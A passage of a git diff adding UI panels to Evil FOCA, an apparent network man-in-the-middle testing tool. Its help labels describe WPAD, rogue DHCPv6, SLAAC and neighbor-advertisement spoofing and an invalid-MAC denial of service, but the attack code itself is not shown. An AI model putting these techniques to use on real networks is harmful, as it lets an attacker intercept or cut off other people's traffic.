a/EvilFoca/ControlHelp/MITMIpv4/DHCP ACK Injection/UserControl1.resx b/EvilFoca/ControlHelp/MITMIpv4/DHCP ACK Injection/UserControl1.resx new file mode 100644 index 0000000..f80127d --- /dev/null +++ b/EvilFoca/ControlHelp/MITMIpv4/DHCP ACK Injection/UserControl1.resx @@ -0,0 +1,123 @@ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + text/microsoft-resx + + + 2.0 + + + System.Resources.ResXResourceReader, System.Windows.Forms, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 + + + System.Resources.ResXResourceWriter, System.Windows.Forms, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 + + + aaa aa a aa aaa aa a aa aaa aa a aa aaa aa a aa aaa aa a aa aaa aa a aa aaa aa a aa aaa aa a aa aaa aa a aa aaa aa a aa aaa aa a aa aaa aa a aa aaa aa a aa aaa aa a aa aaa aa a aa aaa aa a aa aaa aa a aa aaa aa a aa aaa aa a aa aaa aa a aa aaa aa a aa aaa aa a aa aaa aa a aa aaa aa a aa aaa aa a aa aaa aa a aa + + \ No newline at end of file diff --git a/EvilFoca/ControlHelp/MITMIpv4/Wpad/PanelWpad.Designer.cs b/EvilFoca/ControlHelp/MITMIpv4/Wpad/PanelWpad.Designer.cs new file mode 100644 index 0000000..81e0e16 --- /dev/null +++ b/EvilFoca/ControlHelp/MITMIpv4/Wpad/PanelWpad.Designer.cs @@ -0,0 +1,93 @@ +/* +Evil FOCA +Copyright (C) 2015 ElevenPaths + +This program is free software: you can redistribute it and/or modify +it under the terms of the GNU General Public License as published by +the Free Software Foundation, either version 3 of the License, or +(at your option) any later version. + +This program is distributed in the hope that it will be useful, +but WITHOUT ANY WARRANTY; without even the implied warranty of +MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the +GNU General Public License for more details. + +You should have received a copy of the GNU General Public License +along with this program. If not, see . +*/ +namespace evilfoca.ControlHelp.MITMIpv4.Wpad +{ + partial class PanelWpad + { + /// + /// Required designer variable. + /// + private System.ComponentModel.IContainer components = null; + + /// + /// Clean up any resources being used. + /// + /// true if managed resources should be disposed; otherwise, false. + protected override void Dispose(bool disposing) + { + if (disposing && (components != null)) + { + components.Dispose(); + } + base.Dispose(disposing); + } + + #region Component Designer generated code + + /// + /// Required method for Designer support - do not modify + /// the contents of this method with the code editor. + /// + private void InitializeComponent() + { + this.label1 = new System.Windows.Forms.Label(); + this.label2 = new System.Windows.Forms.Label(); + this.SuspendLayout(); + // + // label1 + // + this.label1.Anchor = ((System.Windows.Forms.AnchorStyles)(((System.Windows.Forms.AnchorStyles.Top | System.Windows.Forms.AnchorStyles.Left) + | System.Windows.Forms.AnchorStyles.Right))); + this.label1.Font = new System.Drawing.Font("Microsoft Sans Serif", 6.75F, System.Drawing.FontStyle.Bold, System.Drawing.GraphicsUnit.Point, ((byte)(0))); + this.label1.Location = new System.Drawing.Point(0, 0); + this.label1.Name = "label1"; + this.label1.Size = new System.Drawing.Size(129, 26); + this.label1.TabIndex = 2; + this.label1.Text = "WPAD"; + this.label1.TextAlign = System.Drawing.ContentAlignment.TopCenter; + // + // label2 + // + this.label2.Anchor = ((System.Windows.Forms.AnchorStyles)((((System.Windows.Forms.AnchorStyles.Top | System.Windows.Forms.AnchorStyles.Bottom) + | System.Windows.Forms.AnchorStyles.Left) + | System.Windows.Forms.AnchorStyles.Right))); + this.label2.Location = new System.Drawing.Point(2, 36); + this.label2.Name = "label2"; + this.label2.Size = new System.Drawing.Size(127, 181); + this.label2.TabIndex = 7; + this.label2.Text = "- The attacker sends to their victims fake WPAD LLMNR reply packets in order to c" + + "ause that any traffic goes through your IP, using your machine as a proxy"; + // + // PanelWpadV6 + // + this.AutoScaleDimensions = new System.Drawing.SizeF(6F, 13F); + this.AutoScaleMode = System.Windows.Forms.AutoScaleMode.Font; + this.Controls.Add(this.label2); + this.Controls.Add(this.label1); + this.Name = "PanelWpadV6"; + this.Size = new System.Drawing.Size(129, 217); + this.ResumeLayout(false); + + } + + #endregion + + private System.Windows.Forms.Label label1; + private System.Windows.Forms.Label label2; + } +} diff --git a/EvilFoca/ControlHelp/MITMIpv4/Wpad/PanelWpad.cs b/EvilFoca/ControlHelp/MITMIpv4/Wpad/PanelWpad.cs new file mode 100644 index 0000000..ba8b359 --- /dev/null +++ b/EvilFoca/ControlHelp/MITMIpv4/Wpad/PanelWpad.cs @@ -0,0 +1,29 @@ +/* +Evil FOCA +Copyright (C) 2015 ElevenPaths + +This program is free software: you can redistribute it and/or modify +it under the terms of the GNU General Public License as published by +the Free Software Foundation, either version 3 of the License, or +(at your option) any later version. + +This program is distributed in the hope that it will be useful, +but WITHOUT ANY WARRANTY; without even the implied warranty of +MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the +GNU General Public License for more details. + +You should have received a copy of the GNU General Public License +along with this program. If not, see . +*/ +using System.Windows.Forms; + +namespace evilfoca.ControlHelp.MITMIpv4.Wpad +{ + public partial class PanelWpad : UserControl + { + public PanelWpad() + { + InitializeComponent(); + } + } +} diff --git a/EvilFoca/ControlHelp/MITMIpv4/Wpad/PanelWpad.resx b/EvilFoca/ControlHelp/MITMIpv4/Wpad/PanelWpad.resx new file mode 100644 index 0000000..1af7de1 --- /dev/null +++ b/EvilFoca/ControlHelp/MITMIpv4/Wpad/PanelWpad.resx @@ -0,0 +1,120 @@ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + text/microsoft-resx + + + 2.0 + + + System.Resources.ResXResourceReader, System.Windows.Forms, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 + + + System.Resources.ResXResourceWriter, System.Windows.Forms, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 + + \ No newline at end of file diff --git a/EvilFoca/ControlHelp/MITMIpv6/DHCPv6/panelDHCPv6.Designer.cs b/EvilFoca/ControlHelp/MITMIpv6/DHCPv6/panelDHCPv6.Designer.cs new file mode 100644 index 0000000..d568cf6 --- /dev/null +++ b/EvilFoca/ControlHelp/MITMIpv6/DHCPv6/panelDHCPv6.Designer.cs @@ -0,0 +1,93 @@ +/* +Evil FOCA +Copyright (C) 2015 ElevenPaths + +This program is free software: you can redistribute it and/or modify +it under the terms of the GNU General Public License as published by +the Free Software Foundation, either version 3 of the License, or +(at your option) any later version. + +This program is distributed in the hope that it will be useful, +but WITHOUT ANY WARRANTY; without even the implied warranty of +MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the +GNU General Public License for more details. + +You should have received a copy of the GNU General Public License +along with this program. If not, see . +*/ +namespace evilfoca.ControlHelp.evilfoca.DHCPv6 +{ + partial class panelDHCPv6 + { + /// + /// Required designer variable. + /// + private System.ComponentModel.IContainer components = null; + + /// + /// Clean up any resources being used. + /// + /// true if managed resources should be disposed; otherwise, false. + protected override void Dispose(bool disposing) + { + if (disposing && (components != null)) + { + components.Dispose(); + } + base.Dispose(disposing); + } + + #region Component Designer generated code + + /// + /// Required method for Designer support - do not modify + /// the contents of this method with the code editor. + /// + private void InitializeComponent() + { + this.label1 = new System.Windows.Forms.Label(); + this.label2 = new System.Windows.Forms.Label(); + this.SuspendLayout(); + // + // label1 + // + this.label1.Anchor = ((System.Windows.Forms.AnchorStyles)(((System.Windows.Forms.AnchorStyles.Top | System.Windows.Forms.AnchorStyles.Left) + | System.Windows.Forms.AnchorStyles.Right))); + this.label1.Font = new System.Drawing.Font("Microsoft Sans Serif", 6.75F, System.Drawing.FontStyle.Bold, System.Drawing.GraphicsUnit.Point, ((byte)(0))); + this.label1.Location = new System.Drawing.Point(0, 0); + this.label1.Name = "label1"; + this.label1.Size = new System.Drawing.Size(129, 26); + this.label1.TabIndex = 2; + this.label1.Text = "DHCP v6"; + this.label1.TextAlign = System.Drawing.ContentAlignment.TopCenter; + // + // label2 + // + this.label2.Anchor = ((System.Windows.Forms.AnchorStyles)((((System.Windows.Forms.AnchorStyles.Top | System.Windows.Forms.AnchorStyles.Bottom) + | System.Windows.Forms.AnchorStyles.Left) + | System.Windows.Forms.AnchorStyles.Right))); + this.label2.Location = new System.Drawing.Point(2, 36); + this.label2.Name = "label2"; + this.label2.Size = new System.Drawing.Size(127, 181); + this.label2.TabIndex = 7; + this.label2.Text = "- This computer acts as a rogue DHCPv6 server, configuring IP Address and DNS Ser" + + "ver from clients."; + // + // panelDHCPv6 + // + this.AutoScaleDimensions = new System.Drawing.SizeF(6F, 13F); + this.AutoScaleMode = System.Windows.Forms.AutoScaleMode.Font; + this.Controls.Add(this.label2); + this.Controls.Add(this.label1); + this.Name = "panelDHCPv6"; + this.Size = new System.Drawing.Size(129, 217); + this.ResumeLayout(false); + + } + + #endregion + + private System.Windows.Forms.Label label1; + private System.Windows.Forms.Label label2; + } +} diff --git a/EvilFoca/ControlHelp/MITMIpv6/DHCPv6/panelDHCPv6.cs b/EvilFoca/ControlHelp/MITMIpv6/DHCPv6/panelDHCPv6.cs new file mode 100644 index 0000000..bbc72e4 --- /dev/null +++ b/EvilFoca/ControlHelp/MITMIpv6/DHCPv6/panelDHCPv6.cs @@ -0,0 +1,36 @@ +/* +Evil FOCA +Copyright (C) 2015 ElevenPaths + +This program is free software: you can redistribute it and/or modify +it under the terms of the GNU General Public License as published by +the Free Software Foundation, either version 3 of the License, or +(at your option) any later version. + +This program is distributed in the hope that it will be useful, +but WITHOUT ANY WARRANTY; without even the implied warranty of +MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the +GNU General Public License for more details. + +You should have received a copy of the GNU General Public License +along with this program. If not, see . +*/ +using System; +using System.Collections.Generic; +using System.ComponentModel; +using System.Drawing; +using System.Data; +using System.Linq; +using System.Text; +using System.Windows.Forms; + +namespace evilfoca.ControlHelp.evilfoca.DHCPv6 +{ + public partial class panelDHCPv6 : UserControl + { + public panelDHCPv6() + { + InitializeComponent(); + } + } +} diff --git a/EvilFoca/ControlHelp/MITMIpv6/DHCPv6/panelDHCPv6.resx b/EvilFoca/ControlHelp/MITMIpv6/DHCPv6/panelDHCPv6.resx new file mode 100644 index 0000000..1af7de1 --- /dev/null +++ b/EvilFoca/ControlHelp/MITMIpv6/DHCPv6/panelDHCPv6.resx @@ -0,0 +1,120 @@ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + text/microsoft-resx + + + 2.0 + + + System.Resources.ResXResourceReader, System.Windows.Forms, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 + + + System.Resources.ResXResourceWriter, System.Windows.Forms, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 + + \ No newline at end of file diff --git a/EvilFoca/ControlHelp/MITMIpv6/NeighborAdvSpoofing/PanelNeighAdvSpoofing.Designer.cs b/EvilFoca/ControlHelp/MITMIpv6/NeighborAdvSpoofing/PanelNeighAdvSpoofing.Designer.cs new file mode 100644 index 0000000..1408d34 --- /dev/null +++ b/EvilFoca/ControlHelp/MITMIpv6/NeighborAdvSpoofing/PanelNeighAdvSpoofing.Designer.cs @@ -0,0 +1,93 @@ +/* +Evil FOCA +Copyright (C) 2015 ElevenPaths + +This program is free software: you can redistribute it and/or modify +it under the terms of the GNU General Public License as published by +the Free Software Foundation, either version 3 of the License, or +(at your option) any later version. + +This program is distributed in the hope that it will be useful, +but WITHOUT ANY WARRANTY; without even the implied warranty of +MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the +GNU General Public License for more details. + +You should have received a copy of the GNU General Public License +along with this program. If not, see . +*/ +namespace evilfoca.ControlHelp.evilfoca.NeighborAdvSpoofing +{ + partial class PanelNeighAdvSpoofing + { + /// + /// Required designer variable. + /// + private System.ComponentModel.IContainer components = null; + + /// + /// Clean up any resources being used. + /// + /// true if managed resources should be disposed; otherwise, false. + protected override void Dispose(bool disposing) + { + if (disposing && (components != null)) + { + components.Dispose(); + } + base.Dispose(disposing); + } + + #region Component Designer generated code + + /// + /// Required method for Designer support - do not modify + /// the contents of this method with the code editor. + /// + private void InitializeComponent() + { + this.label1 = new System.Windows.Forms.Label(); + this.label2 = new System.Windows.Forms.Label(); + this.SuspendLayout(); + // + // label1 + // + this.label1.Anchor = ((System.Windows.Forms.AnchorStyles)(((System.Windows.Forms.AnchorStyles.Top | System.Windows.Forms.AnchorStyles.Left) + | System.Windows.Forms.AnchorStyles.Right))); + this.label1.Font = new System.Drawing.Font("Microsoft Sans Serif", 6.75F, System.Drawing.FontStyle.Bold, System.Drawing.GraphicsUnit.Point, ((byte)(0))); + this.label1.Location = new System.Drawing.Point(2, 0); + this.label1.Name = "label1"; + this.label1.Size = new System.Drawing.Size(129, 26); + this.label1.TabIndex = 0; + this.label1.Text = "Neighbor\r\nadvertisement spoofing"; + this.label1.TextAlign = System.Drawing.ContentAlignment.TopCenter; + // + // label2 + // + this.label2.Anchor = ((System.Windows.Forms.AnchorStyles)((((System.Windows.Forms.AnchorStyles.Top | System.Windows.Forms.AnchorStyles.Bottom) + | System.Windows.Forms.AnchorStyles.Left) + | System.Windows.Forms.AnchorStyles.Right))); + this.label2.Location = new System.Drawing.Point(2, 36); + this.label2.Name = "label2"; + this.label2.Size = new System.Drawing.Size(127, 181); + this.label2.TabIndex = 7; + this.label2.Text = "- The attacker sends to their victims fake ICMPv6 Advertisement packets in order " + + "to cause that any traffic goes through your IP address."; + // + // PanelNeighAdvSpoofing + // + this.AutoScaleDimensions = new System.Drawing.SizeF(6F, 13F); + this.AutoScaleMode = System.Windows.Forms.AutoScaleMode.Font; + this.Controls.Add(this.label2); + this.Controls.Add(this.label1); + this.Name = "PanelNeighAdvSpoofing"; + this.Size = new System.Drawing.Size(129, 217); + this.ResumeLayout(false); + + } + + #endregion + + private System.Windows.Forms.Label label1; + private System.Windows.Forms.Label label2; + } +} diff --git a/EvilFoca/ControlHelp/MITMIpv6/NeighborAdvSpoofing/PanelNeighAdvSpoofing.cs b/EvilFoca/ControlHelp/MITMIpv6/NeighborAdvSpoofing/PanelNeighAdvSpoofing.cs new file mode 100644 index 0000000..2ebfd29 --- /dev/null +++ b/EvilFoca/ControlHelp/MITMIpv6/NeighborAdvSpoofing/PanelNeighAdvSpoofing.cs @@ -0,0 +1,36 @@ +/* +Evil FOCA +Copyright (C) 2015 ElevenPaths + +This program is free software: you can redistribute it and/or modify +it under the terms of the GNU General Public License as published by +the Free Software Foundation, either version 3 of the License, or +(at your option) any later version. + +This program is distributed in the hope that it will be useful, +but WITHOUT ANY WARRANTY; without even the implied warranty of +MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the +GNU General Public License for more details. + +You should have received a copy of the GNU General Public License +along with this program. If not, see . +*/ +using System; +using System.Collections.Generic; +using System.ComponentModel; +using System.Drawing; +using System.Data; +using System.Linq; +using System.Text; +using System.Windows.Forms; + +namespace evilfoca.ControlHelp.evilfoca.NeighborAdvSpoofing +{ + public partial class PanelNeighAdvSpoofing : UserControl + { + public PanelNeighAdvSpoofing() + { + InitializeComponent(); + } + } +} diff --git a/EvilFoca/ControlHelp/MITMIpv6/NeighborAdvSpoofing/PanelNeighAdvSpoofing.resx b/EvilFoca/ControlHelp/MITMIpv6/NeighborAdvSpoofing/PanelNeighAdvSpoofing.resx new file mode 100644 index 0000000..1af7de1 --- /dev/null +++ b/EvilFoca/ControlHelp/MITMIpv6/NeighborAdvSpoofing/PanelNeighAdvSpoofing.resx @@ -0,0 +1,120 @@ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + text/microsoft-resx + + + 2.0 + + + System.Resources.ResXResourceReader, System.Windows.Forms, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 + + + System.Resources.ResXResourceWriter, System.Windows.Forms, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 + + \ No newline at end of file diff --git a/EvilFoca/ControlHelp/MITMIpv6/SLAAC/PanelSLAAC.Designer.cs b/EvilFoca/ControlHelp/MITMIpv6/SLAAC/PanelSLAAC.Designer.cs new file mode 100644 index 0000000..7dd3426 --- /dev/null +++ b/EvilFoca/ControlHelp/MITMIpv6/SLAAC/PanelSLAAC.Designer.cs @@ -0,0 +1,93 @@ +/* +Evil FOCA +Copyright (C) 2015 ElevenPaths + +This program is free software: you can redistribute it and/or modify +it under the terms of the GNU General Public License as published by +the Free Software Foundation, either version 3 of the License, or +(at your option) any later version. + +This program is distributed in the hope that it will be useful, +but WITHOUT ANY WARRANTY; without even the implied warranty of +MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the +GNU General Public License for more details. + +You should have received a copy of the GNU General Public License +along with this program. If not, see . +*/ +namespace evilfoca.ControlHelp.evilfoca.SLAAC +{ + partial class PanelSLAAC + { + /// + /// Required designer variable. + /// + private System.ComponentModel.IContainer components = null; + + /// + /// Clean up any resources being used. + /// + /// true if managed resources should be disposed; otherwise, false. + protected override void Dispose(bool disposing) + { + if (disposing && (components != null)) + { + components.Dispose(); + } + base.Dispose(disposing); + } + + #region Component Designer generated code + + /// + /// Required method for Designer support - do not modify + /// the contents of this method with the code editor. + /// + private void InitializeComponent() + { + this.label1 = new System.Windows.Forms.Label(); + this.label2 = new System.Windows.Forms.Label(); + this.SuspendLayout(); + // + // label1 + // + this.label1.Anchor = ((System.Windows.Forms.AnchorStyles)(((System.Windows.Forms.AnchorStyles.Top | System.Windows.Forms.AnchorStyles.Left) + | System.Windows.Forms.AnchorStyles.Right))); + this.label1.Font = new System.Drawing.Font("Microsoft Sans Serif", 6.75F, System.Drawing.FontStyle.Bold, System.Drawing.GraphicsUnit.Point, ((byte)(0))); + this.label1.Location = new System.Drawing.Point(0, 0); + this.label1.Name = "label1"; + this.label1.Size = new System.Drawing.Size(129, 26); + this.label1.TabIndex = 2; + this.label1.Text = "SLAAC"; + this.label1.TextAlign = System.Drawing.ContentAlignment.TopCenter; + // + // label2 + // + this.label2.Anchor = ((System.Windows.Forms.AnchorStyles)((((System.Windows.Forms.AnchorStyles.Top | System.Windows.Forms.AnchorStyles.Bottom) + | System.Windows.Forms.AnchorStyles.Left) + | System.Windows.Forms.AnchorStyles.Right))); + this.label2.Location = new System.Drawing.Point(2, 36); + this.label2.Name = "label2"; + this.label2.Size = new System.Drawing.Size(127, 181); + this.label2.TabIndex = 7; + this.label2.Text = "- The attacker sends to their victims fake ICMPv6 Router Advertisement packets in" + + " order to cause that any traffic goes through your IP address."; + // + // PanelSLAAC + // + this.AutoScaleDimensions = new System.Drawing.SizeF(6F, 13F); + this.AutoScaleMode = System.Windows.Forms.AutoScaleMode.Font; + this.Controls.Add(this.label2); + this.Controls.Add(this.label1); + this.Name = "PanelSLAAC"; + this.Size = new System.Drawing.Size(129, 217); + this.ResumeLayout(false); + + } + + #endregion + + private System.Windows.Forms.Label label1; + private System.Windows.Forms.Label label2; + } +} diff --git a/EvilFoca/ControlHelp/MITMIpv6/SLAAC/PanelSLAAC.cs b/EvilFoca/ControlHelp/MITMIpv6/SLAAC/PanelSLAAC.cs new file mode 100644 index 0000000..0ed46db --- /dev/null +++ b/EvilFoca/ControlHelp/MITMIpv6/SLAAC/PanelSLAAC.cs @@ -0,0 +1,36 @@ +/* +Evil FOCA +Copyright (C) 2015 ElevenPaths + +This program is free software: you can redistribute it and/or modify +it under the terms of the GNU General Public License as published by +the Free Software Foundation, either version 3 of the License, or +(at your option) any later version. + +This program is distributed in the hope that it will be useful, +but WITHOUT ANY WARRANTY; without even the implied warranty of +MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the +GNU General Public License for more details. + +You should have received a copy of the GNU General Public License +along with this program. If not, see . +*/ +using System; +using System.Collections.Generic; +using System.ComponentModel; +using System.Drawing; +using System.Data; +using System.Linq; +using System.Text; +using System.Windows.Forms; + +namespace evilfoca.ControlHelp.evilfoca.SLAAC +{ + public partial class PanelSLAAC : UserControl + { + public PanelSLAAC() + { + InitializeComponent(); + } + } +} diff --git a/EvilFoca/ControlHelp/MITMIpv6/SLAAC/PanelSLAAC.resx b/EvilFoca/ControlHelp/MITMIpv6/SLAAC/PanelSLAAC.resx new file mode 100644 index 0000000..1af7de1 --- /dev/null +++ b/EvilFoca/ControlHelp/MITMIpv6/SLAAC/PanelSLAAC.resx @@ -0,0 +1,120 @@ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + text/microsoft-resx + + + 2.0 + + + System.Resources.ResXResourceReader, System.Windows.Forms, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 + + + System.Resources.ResXResourceWriter, System.Windows.Forms, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 + + \ No newline at end of file diff --git a/EvilFoca/ControlHelp/MITMIpv6/WpadV6/PanelWpadV6.Designer.cs b/EvilFoca/ControlHelp/MITMIpv6/WpadV6/PanelWpadV6.Designer.cs new file mode 100644 index 0000000..71f3e92 --- /dev/null +++ b/EvilFoca/ControlHelp/MITMIpv6/WpadV6/PanelWpadV6.Designer.cs @@ -0,0 +1,93 @@ +/* +Evil FOCA +Copyright (C) 2015 ElevenPaths + +This program is free software: you can redistribute it and/or modify +it under the terms of the GNU General Public License as published by +the Free Software Foundation, either version 3 of the License, or +(at your option) any later version. + +This program is distributed in the hope that it will be useful, +but WITHOUT ANY WARRANTY; without even the implied warranty of +MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the +GNU General Public License for more details. + +You should have received a copy of the GNU General Public License +along with this program. If not, see . +*/ +namespace evilfoca.ControlHelp.evilfoca.WpadV6 +{ + partial class PanelWpadV6 + { + /// + /// Required designer variable. + /// + private System.ComponentModel.IContainer components = null; + + /// + /// Clean up any resources being used. + /// + /// true if managed resources should be disposed; otherwise, false. + protected override void Dispose(bool disposing) + { + if (disposing && (components != null)) + { + components.Dispose(); + } + base.Dispose(disposing); + } + + #region Component Designer generated code + + /// + /// Required method for Designer support - do not modify + /// the contents of this method with the code editor. + /// + private void InitializeComponent() + { + this.label1 = new System.Windows.Forms.Label(); + this.label2 = new System.Windows.Forms.Label(); + this.SuspendLayout(); + // + // label1 + // + this.label1.Anchor = ((System.Windows.Forms.AnchorStyles)(((System.Windows.Forms.AnchorStyles.Top | System.Windows.Forms.AnchorStyles.Left) + | System.Windows.Forms.AnchorStyles.Right))); + this.label1.Font = new System.Drawing.Font("Microsoft Sans Serif", 6.75F, System.Drawing.FontStyle.Bold, System.Drawing.GraphicsUnit.Point, ((byte)(0))); + this.label1.Location = new System.Drawing.Point(0, 0); + this.label1.Name = "label1"; + this.label1.Size = new System.Drawing.Size(129, 26); + this.label1.TabIndex = 2; + this.label1.Text = "WPAD v6"; + this.label1.TextAlign = System.Drawing.ContentAlignment.TopCenter; + // + // label2 + // + this.label2.Anchor = ((System.Windows.Forms.AnchorStyles)((((System.Windows.Forms.AnchorStyles.Top | System.Windows.Forms.AnchorStyles.Bottom) + | System.Windows.Forms.AnchorStyles.Left) + | System.Windows.Forms.AnchorStyles.Right))); + this.label2.Location = new System.Drawing.Point(2, 36); + this.label2.Name = "label2"; + this.label2.Size = new System.Drawing.Size(127, 181); + this.label2.TabIndex = 7; + this.label2.Text = "- The attacker sends to their victims fake WPAD LLMNR reply packets in order to c" + + "ause that any traffic goes through your IPv6, using your machine as a proxy"; + // + // PanelWpadV6 + // + this.AutoScaleDimensions = new System.Drawing.SizeF(6F, 13F); + this.AutoScaleMode = System.Windows.Forms.AutoScaleMode.Font; + this.Controls.Add(this.label2); + this.Controls.Add(this.label1); + this.Name = "PanelWpadV6"; + this.Size = new System.Drawing.Size(129, 217); + this.ResumeLayout(false); + + } + + #endregion + + private System.Windows.Forms.Label label1; + private System.Windows.Forms.Label label2; + } +} diff --git a/EvilFoca/ControlHelp/MITMIpv6/WpadV6/PanelWpadV6.cs b/EvilFoca/ControlHelp/MITMIpv6/WpadV6/PanelWpadV6.cs new file mode 100644 index 0000000..0e450cf --- /dev/null +++ b/EvilFoca/ControlHelp/MITMIpv6/WpadV6/PanelWpadV6.cs @@ -0,0 +1,29 @@ +/* +Evil FOCA +Copyright (C) 2015 ElevenPaths + +This program is free software: you can redistribute it and/or modify +it under the terms of the GNU General Public License as published by +the Free Software Foundation, either version 3 of the License, or +(at your option) any later version. + +This program is distributed in the hope that it will be useful, +but WITHOUT ANY WARRANTY; without even the implied warranty of +MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the +GNU General Public License for more details. + +You should have received a copy of the GNU General Public License +along with this program. If not, see . +*/ +using System.Windows.Forms; + +namespace evilfoca.ControlHelp.evilfoca.WpadV6 +{ + public partial class PanelWpadV6 : UserControl + { + public PanelWpadV6() + { + InitializeComponent(); + } + } +} diff --git a/EvilFoca/ControlHelp/MITMIpv6/WpadV6/PanelWpadV6.resx b/EvilFoca/ControlHelp/MITMIpv6/WpadV6/PanelWpadV6.resx new file mode 100644 index 0000000..1af7de1 --- /dev/null +++ b/EvilFoca/ControlHelp/MITMIpv6/WpadV6/PanelWpadV6.resx @@ -0,0 +1,120 @@ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + text/microsoft-resx + + + 2.0 + + + System.Resources.ResXResourceReader, System.Windows.Forms, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 + + + System.Resources.ResXResourceWriter, System.Windows.Forms, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 + + \ No newline at end of file diff --git a/EvilFoca/ControlInvalidMacIpv4.Designer.cs b/EvilFoca/ControlInvalidMacIpv4.Designer.cs new file mode 100644 index 0000000..5d86b7d --- /dev/null +++ b/EvilFoca/ControlInvalidMacIpv4.Designer.cs @@ -0,0 +1,77 @@ +/* +Evil FOCA +Copyright (C) 2015 ElevenPaths + +This program is free software: you can redistribute it and/or modify +it under the terms of the GNU General Public License as published by +the Free Software Foundation, either version 3 of the License, or +(at your option) any later version. + +This program is distributed in the hope that it will be useful, +but WITHOUT ANY WARRANTY; without even the implied warranty of +MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the +GNU General Public License for more details. + +You should have received a copy of the GNU General Public License +along with this program. If not, see . +*/ +namespace evilfoca +{ + partial class ControlInvalidMacIpv4 + { + /// + /// Required designer variable. + /// + private System.ComponentModel.IContainer components = null; + + /// + /// Clean up any resources being used. + /// + /// true if managed resources should be disposed; otherwise, false. + protected override void Dispose(bool disposing) + { + if (disposing && (components != null)) + { + components.Dispose(); + } + base.Dispose(disposing); + } + + #region Component Designer generated code + + /// + /// Required method for Designer support - do not modify + /// the contents of this method with the code editor. + /// + private void InitializeComponent() + { + this.lbInfo = new System.Windows.Forms.Label(); + this.SuspendLayout(); + // + // lbInfo + // + this.lbInfo.AutoSize = true; + this.lbInfo.Location = new System.Drawing.Point(12, 12); + this.lbInfo.Name = "lbInfo"; + this.lbInfo.Size = new System.Drawing.Size(155, 13); + this.lbInfo.TabIndex = 0; + this.lbInfo.Text = "IP [] has not connectivity with []"; + // + // ControlInvalidMacIpv4 + // + this.AutoScaleDimensions = new System.Drawing.SizeF(6F, 13F); + this.AutoScaleMode = System.Windows.Forms.AutoScaleMode.Font; + this.Controls.Add(this.lbInfo); + this.Name = "ControlInvalidMacIpv4"; + this.Size = new System.Drawing.Size(310, 40); + this.Load += new System.EventHandler(this.ControlInvalidMacIpv4_Load); + this.ResumeLayout(false); + this.PerformLayout(); + + } + + #endregion + + private System.Windows.Forms.Label lbInfo; + } +} diff --git a/EvilFoca/ControlInvalidMacIpv4.cs b/EvilFoca/ControlInvalidMacIpv4.cs new file mode 100644 index 0000000..8b0b216 --- /dev/null +++ b/EvilFoca/ControlInvalidMacIpv4.cs @@ -0,0 +1,47 @@ +/* +Evil FOCA +Copyright (C) 2015 ElevenPaths + +This program is free software: you can redistribute it and/or modify +it under the terms of the GNU General Public License as published by +the Free Software Foundation, either version 3 of the License, or +(at your option) any later version. + +This program is distributed in the hope that it will be useful, +but WITHOUT ANY WARRANTY; without even the implied warranty of +MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the +GNU General Public License for more details. + +You should have received a copy of the GNU General Public License +along with this program. If not, see . +*/ +using System; +using System.Collections.Generic; +using System.ComponentModel; +using System.Drawing; +using System.Data; +using System.Linq; +using System.Text; +using System.Windows.Forms; +using evilfoca.Data; + +namespace evilfoca +{ + public partial class ControlInvalidMacIpv4 : UserControl + { + Attack attack; + + public ControlInvalidMacIpv4(Attack attack) + { + this.attack = attack; + InitializeComponent(); + } + + + private void ControlInvalidMacIpv4_Load(object sender, EventArgs e) + { + InvalidMacSpoofAttackIpv4Attack dosAttack = (InvalidMacSpoofAttackIpv4Attack)attack; + lbInfo.Text = "IP " + dosAttack.t1.ip + " has not connectivity with " + dosAttack.t2.ip; + } + } +} diff --git a/EvilFoca/ControlInvalidMacIpv4.resx b/EvilFoca/ControlInvalidMacIpv4.resx new file mode 100644 index 0000000..1af7de1 --- /dev/null +++ b/EvilFoca/ControlInvalidMacIpv4.resx @@ -0,0 +1,120 @@ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + text/microsoft-resx + + + 2.0 + + + System.Resources.ResXResourceReader, System.Windows.Forms, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 + + + System.Resources.ResXResourceWriter, System.Windows.Forms, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 + + \ No newline at end of file diff --git a/EvilFoca/ControlMitmAttack.Designer.cs b/EvilFoca/ControlMitmAttack.Designer.cs new file 